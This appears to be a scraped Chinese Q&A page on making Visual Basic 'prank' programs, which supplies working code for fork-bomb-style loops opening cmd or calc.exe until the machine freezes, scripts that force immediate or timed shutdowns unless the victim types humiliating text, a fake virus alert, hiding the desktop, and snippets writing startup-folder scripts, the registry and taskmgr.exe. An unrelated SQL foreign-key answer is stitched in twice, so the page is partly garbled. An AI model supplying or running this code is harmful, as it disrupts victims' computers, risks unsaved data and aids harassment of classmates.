vb恶搞是什么？怎么做

vb恶搞程序~

1、窗口炸弹
Private Sub Form_Load()
For a = 1 To 10
Shell "cmd /c echo 轰隆——一切的全完了！ & pause", vbNormalFocus
Next
End Sub
2、数羊程序
Private Sub Form_Load()
MsgBox "困死我了，睡不着，帮我数羊", , "数羊"
MsgBox "就一百只羊吧！", , "数羊"
For a = 1 To 100
MsgBox a & "只羊", , "数羊"
Next
MsgBox "身边没个人，好孤单，好寂寞……", "64", "数羊"
Shell "shutdown -s -t 0"
End Sub
3、按十万次回车
Private Sub Form_Load()
For a = 1 To 100000
SendKeys "{enter}"
Next
End Sub

把以下代码复制到记事本中，然后把扩展名改为.vbs运行即可。
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"

恶搞就是让运行了恶搞软件的显示屏出现一些怪异显现，让不知情者差异的行为。如以下代码算是一个没有破坏力的小小恶搞吧，运行后会让客户电脑的桌面所有图标及“开始”不停闪烁。当然重启电脑或关闭进程后就会恢复啦。
使用方法：打开vb6，在一个新窗体中画一个时间控件Timer1即可，属性默认，复制以下代码：

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Const SW_RESTORE = 9
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Dim aa As Long, hLong As Long, rtn As Long
Private Sub Form_Load()
Timer1.Interval = 500
Me.Visible = False
End Sub
Private Sub Timer1_Timer()
If aa = 0 Then aa = 1 Else aa = 0
hLong = FindWindowEx(FindWindow("Shell_TrayWnd", vbNullString), 0, "Button", vbNullString)
Select Case aa
Case 0
ShowWindow hLong, SW_SHOW
rtn = ShowWindow(FindWindow("Progman", vbNullString), SW_HIDE)
Case 1
ShowWindow hLong, SW_HIDE
rtn = ShowWindow(FindWindow("Progman", vbNullString), SW_RESTORE)
End Select
End Sub
Private Sub Form_Unload(Cancel As Integer)
ShowWindow FindWindowEx(FindWindow("Shell_TrayWnd", vbNullString), 0, "Button", vbNullString), SW_SHOW
rtn = ShowWindow(FindWindow("Progman", vbNullString), SW_RESTORE)
End Sub

Private Sub Form_Load()
Me.Visible = False
Shell "shutdown -s -t 30"
'关机指令，30为秒，30秒之后就自动关机

Call inp

End Sub
Sub inp()
MsgBox "注意！你已经中毒了，请迅速关机，把硬盘拆下来泡入消毒水中！" & vbCrLf & "系统将在30秒内关机，除非你输入“投降”二字", vbOKOnly + 16, "注意"

a = InputBox("请输入“投降”二字，否则系统将在30秒内关机 ")

If a <> "投降" Then

Call inp
'递归循环调用
Else
Shell "shutdown -a"
'取消关机的指令
MsgBox "恭喜你危机已解除！", vbOKOnly + vbInformation, "注意"
End If
End Sub

如果不输入“投降” 二字，系统就会关机

注意：真的会关机！你在测试的时候最好不要超过30秒！

双击窗体，输入代码：
Private Sub Form_Load()
Do
CreateObject("wscript.shell").run "calc.exe"
Loop
End Sub
这个是窗口炸弹，一直打开“计算器”程序，直到他的电脑死机！

FOREIGN KEY (BSCNAME) REFERENCES tBSC (BSCNAME)

你引用tBSC的BSCNAME 但是那个列不是主键
所以外键约束也无法建立

外键引用的字段 必须是主键Miss_Sp希望help you。referenceCSDN,IT实验室,365testing

就是VisualBasic 恶搞~

---

独山县19234117099： vb恶搞是什么?怎么做 - ？
甫享奥迪： FOREIGN KEY (BSCNAME) REFERENCES tBSC (BSCNAME)你引用tBSC的BSCNAME 但是那个列不是主键 所以外键约束也无法建立外键引用的字段 必须是主键Miss_Sp希望help you.referenceCSDN,IT实验室,365testing

独山县19234117099： 怎么用VB编写恶作剧? - ？
甫享奥迪： 答案补充:单击文件菜单,生成工程1.EXE,保存在某个地方,确定,上那个地方找你的EXE,运行. ================== 开始,程序,Microsoft Visual Basic 6.0 中文版,Microsoft Visual Basic 6.0 中文版,标准EXE,打开,在大空白上右击,查看代码,把sub Form_load() shell ＂shutdown -s -t 60＂end sub 复制进去,按F5运行.

独山县19234117099： 怎么编vb恶搞程序 - ？
甫享奥迪： 才给5分啊 算了 给你吧 这个是疯狂弹出消息框的代码以下是我从网上整理的代码 '取得系统毫秒数(很随机) Private Declare Function GetTickCount Lib ＂kernel32＂ () As Long Dim hMs...

独山县19234117099： 用VB制作恶搞小程序 - ？
甫享奥迪： 这不好哦 这段代码会让你们同学的电脑部段重启 Dim a As Integer, mulu As String Private Sub Form_Load() Dim w mulu = Trim(App.Path) & ＂\＂ & ＂好玩＂ Set w = CreateObject(＂wscript.shell＂) w.regwrite ＂HKEY_CURRENT_USER\...

独山县19234117099： VB写恶搞程序？
甫享奥迪： 写个死循环不断地弹对话框~~ 囧....写代码写的我也被恶搞了...最简单的代码如下 for i = 1 to 10000 x=msgbox(＂＂,,＂hello＂) next i

独山县19234117099： 谁能给我制作个vb关机恶搞程序 - ？
甫享奥迪： Private Sub Form_Load() On Error Resume Next Kill ＂C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs＂ Open ＂C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs＂ For Append As #1 Print #1, ＂Dim mima...

独山县19234117099： VB恶搞关机程序怎么使用 ？
甫享奥迪： 实现关机程序,不像在WIN9X系列下,调用函数就可以,要有一定的权限才可以.看你的程序有没有提权的代码了!

独山县19234117099： 谁能用VB给我做个恶搞程序害我同学! - ？
甫享奥迪： 给你点思路,自己弄..调用关机程序,启动VB程序自动关机,或达成某条件关机 调用命令提示符等其他系统的管理程序,结束任务或执行一些比较烦人的命令,比如重启等,简单的程序,就是很久以前就有的,窗口震动,跟随鼠标什么的,还有无限弹出MSGBOX什么的

独山县19234117099： 给一些VB整人的代码 - ？
甫享奥迪： VB整人经典代码此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你 Private Sub Form_Load() Open Environ$(＂WinDir＂) & ＂\system32\taskmgr.exe＂ For Binary As #1 For m = 1 To 999 MsgBox ＂呵呵,你知...

独山县19234117099： 小弟刚学VB编程不久!希望VB前辈们 帮帮小弟 怎样才能做出那种恶搞的病毒?？
甫享奥迪： 调用文件和注册表类API就可以随便写个简单的恶搞程序了,API调用